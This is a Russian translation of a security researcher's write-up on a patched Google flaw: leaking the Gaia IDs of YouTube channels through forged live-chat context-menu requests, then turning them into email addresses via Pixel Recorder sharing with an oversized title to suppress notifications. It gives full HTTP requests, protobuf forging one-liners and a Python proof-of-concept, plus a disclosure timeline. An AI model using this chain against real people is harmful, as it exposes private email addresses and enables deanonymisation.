Cover photo

Ликаем электронную почту любого пользователя на Youtube

Какое-то время назад, исследуя Google, я наткнулся на документацию по Internal People API (Staging) и обнаружил кое-что любопытное.

   "BlockedTarget": {
      "id": "BlockedTarget",
      "description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
      "type": "object",
      "properties": {
        "profileId": {
          "description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
          "type": "string"
        },
        "fallbackName": {
          "description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.",
          "type": "string"
        }
      }
    },

Здесь говорится о том, что в API есть метод BlockedTarget, который используется для блокировки пользователей в Google и оперирует двумя сущностями:

  • profileId - Gaia ID (идентификатор учетной записи Google)

  • fallbackName - display name учетной записи заблокированного пользователя

Все казалось вполне логичным, пока я не вспомнил о тексте на странице поддержки:

post image

То есть, если заблокировать кого-то на YouTube, можно раскрыть его идентификатор учетной записи Google? Я решил проверить. Зашел на случайную трансляцию, заблокировал пользователя — и действительно, он появился в списке заблокированных на myaccount.google.com/blocklist.

post image

Имя пользователя было установлено как название канала — Mega Prime, а идентификатор профиля оказался его Gaia ID — 107183641464576740691.

Это показалось мне довольно странным, ведь YouTube не должен раскрывать связанную учетную запись Google. Ранее уже всплывали баги, которые позволяли получить адрес электронной почты по таким данным, и я был уверен, что где-то в старом, малоизвестном продукте Google все еще существует способ сопоставить Gaia ID с электронной почтой пользователя.

Масштабирование до 4 миллиардов YouTube-каналов

Итак, мы можем раскрыть Gaia ID любого пользователя из чата трансляции. Но можно ли эскалировать это на все YouTube-каналы?

Как оказалось, при нажатии на три точки для открытия контекстного меню отправляется запрос:

post image

Запрос

POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie: <redacted>

Ответ

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  ...
  "serviceEndpoint": {
    ...
    "commandMetadata": {
      "webCommandMetadata": {
        "sendPost": true,
        "apiUrl": "/youtubei/v1/live_chat/moderate"
      }
    },
    "moderateLiveChatEndpoint": {
      "params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
    }
  }
  ...
}

params из ответа — закодированный в base64 protobuf, который активно используется в экосистеме Google.

Если попробовать декодировать параметр moderateLiveChatEndpoint, можно получить следующее

$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64
 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
10: 0
11: 1
12 {
  1: "113907466537670370590"
  2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0

В protobuf зашит Gaia ID пользователя, которого мы хотим заблокировать, и чтобы его получить, даже не надо отправлять запрос на саму блокировку.

Давайте также рассмотрим параметры запроса get_item_context_menu:

$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
6 {
  1: "UCSE-aYOb-uCg059qHRis_ow"
}

Похоже, что он содержит только идентификатор канала, который мы блокируем, ID видео с трансляцией и ID автора трансляции. Попробуем подделать параметры запроса, используя ID канала нашей цели.

Для этого теста мы выберем <Topic> Channel, так как такие каналы создаются автоматически и гарантированно не имеют сообщений в чате.

$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=

Тестируем на /youtubei/v1/live_chat/get_item_context_menu:

...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
10: 0
11: 1
12 {
  1: "103261974221829892167"
  2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0

Мы можем раскрыть Gaia ID канала — 103261974221829892167.

Отсутствующая часть головоломки: Pixel Recorder

Я рассказал своему другу Нейтану о утечке Gaia ID на YouTube, и мы начали искать старые забытые продукты Google, так как они, вероятно, содержат баги или логические ошибки, которые позволяют связать Gaia ID с адресом электронной почты. Одним из таких продуктов оказался Pixel Recorder. Нейтан сделал тестовую запись на своем телефоне Pixel и синхронизировал ее с его Google-аккаунтом, чтобы мы могли пользоваться онлайн функциями Google Recorder.

post image

Когда мы попытались поделиться записью c тестовым email, отправился следующий запрос

Запрос

POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/

["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]

Ответ

HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]

Похоже, что эндпоинт принимает Gaia ID и... возвращает email?

Мы протестировали это с Gaia ID 107183641464576740691, который мы получили ранее, заблокировав пользователя на YouTube, и это сработало:

HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]]

Небольшая проблема: предотвращение уведомлений цели

Похоже, что каждый раз, когда мы делимся записью с жертвой, она получает email, который выглядит так:

post image

Это действительно плохо, и это значительно снизило бы эффект от уязвимости. В всплывающем окне для обмена не было никакой опции для отключения уведомлений.

post image

Я попытался раскрыть полный запрос proto с помощью моего инструмента req2proto, но ничего, что касалось бы отключения уведомления по email, не было.

syntax = "proto3";

package java.com.google.wireless.android.pixel.recorder.protos;

import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";

message WriteShareListRequest {
  string recording_id = 1;
  string delete_obfuscated_gaia_ids = 2;
  ShareUser update_shared_users = 3;
  string sharing_message = 4;
}

message ShareUser {
  string obfuscated_gaia_id = 1;
  java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
  string email = 3;
}

Даже попытка одновременно добавить и удалить пользователя не сработала — email все равно отправлялся. Но тут мы поняли: если в теме письма записывается название нашей записи, возможно, система не сможет отправить email, если оно будет слишком длинным.

Мы быстро написали скрипт на Python, чтобы проверить это:

import requests

BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"

headers = {
    "Host": "pixelrecorder-pa.clients6.google.com",
    "Content-Type": "application/json+protobuf",
    "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
    "Origin": "https://recorder.google.com"
}

def get_recording_uuid(share_id: str):
    payload = f"[\"{share_id}\"]"
    response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
    if response.status_code != 200:
        print("unknown error when getting recording uuid: ", response.json())
        exit(1)
    try:
        response = response.json()
    except:
        print('can\'t parse response when getting recording uuid: ', response.text)
        exit(1)

    return response["recording"]["uuid"]

def update_recording_title(share_id: str):
    x = 'X'*2500000 # 2.5 million char long title name!
    payload = f'["{share_id}","{x}"]'
    response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
    if response.status_code != 200:
        print("unknown error when updating recording title: ", response.json())
        exit(1)

def main():
    share_id = input("Enter share ID: ")
    headers["Cookie"] = input("Cookie header:" )
    headers["Authorization"] = input("Authorization header: ")
    uuid = get_recording_uuid(share_id)
    print("UUID:", uuid)
    update_recording_title(uuid)
    print("Updated recording title successfully.")

if __name__ == "__main__":
    main()

... и название записи теперь состояло из 2,5 миллиона символов! На серверной стороне не было ограничений по длине.

post image

Попробовав поделиться записью с другим тестовым пользователем... бинго! Никакого уведомления по email.

post image

Собираем все воедино

У нас фактически есть вся цепочка атаки:

  1. Раскрыть Gaia ID YouTube-канала через эндпоинт /get_item_context_menu.

  2. Поделиться записью из Pixel Recorder, используя огромное название, чтобы преобразовать Gaia ID в email.

  3. Удалить цель из записи Pixel Recorder (очистка).

Вот доказательство концепции (POC) в действии:

Play Video

Хронология

15/09/24 — Отчет отправлен Google
16/09/24 — Google принял отчет на рассмотрение
16/09/24 — Отличная находка!
03/10/24 — Google отмечает это как дубликат уже отслеживаемого бага
03/10/24 — Пишем Google, что они не признали Gaia ID на Email в Pixel Recorder как уязвимость
05/11/24 — Google присуждает $3,133. Обоснование: вероятность эксплуатации — средняя. Проблема квалифицирована как методология злоупотребления с высоким воздействием.
03/12/24 — Команда продукта отправила отчет обратно для дополнительного рассмотрения вознаграждения, координирует раскрытие на 03/02/2025
12/12/24 — Google присуждает дополнительные $7,500. Обоснование: вероятность эксплуатации — высокая. Проблема квалифицирована как методология злоупотребления с высоким воздействием. Применено одно снижение от базовой суммы из-за сложности требуемой цепочки атак.
29/01/25 — Вендор запрашивает продление раскрытия до 12/02/2025
09/02/25 — Подтверждаем, что обе части эксплуатации были исправлены (T+147 дней с момента раскрытия)
12/02/25 — Отчет раскрыт


Оригинал статьи на английском языке.

Переведено и адаптировано специально для @cybred.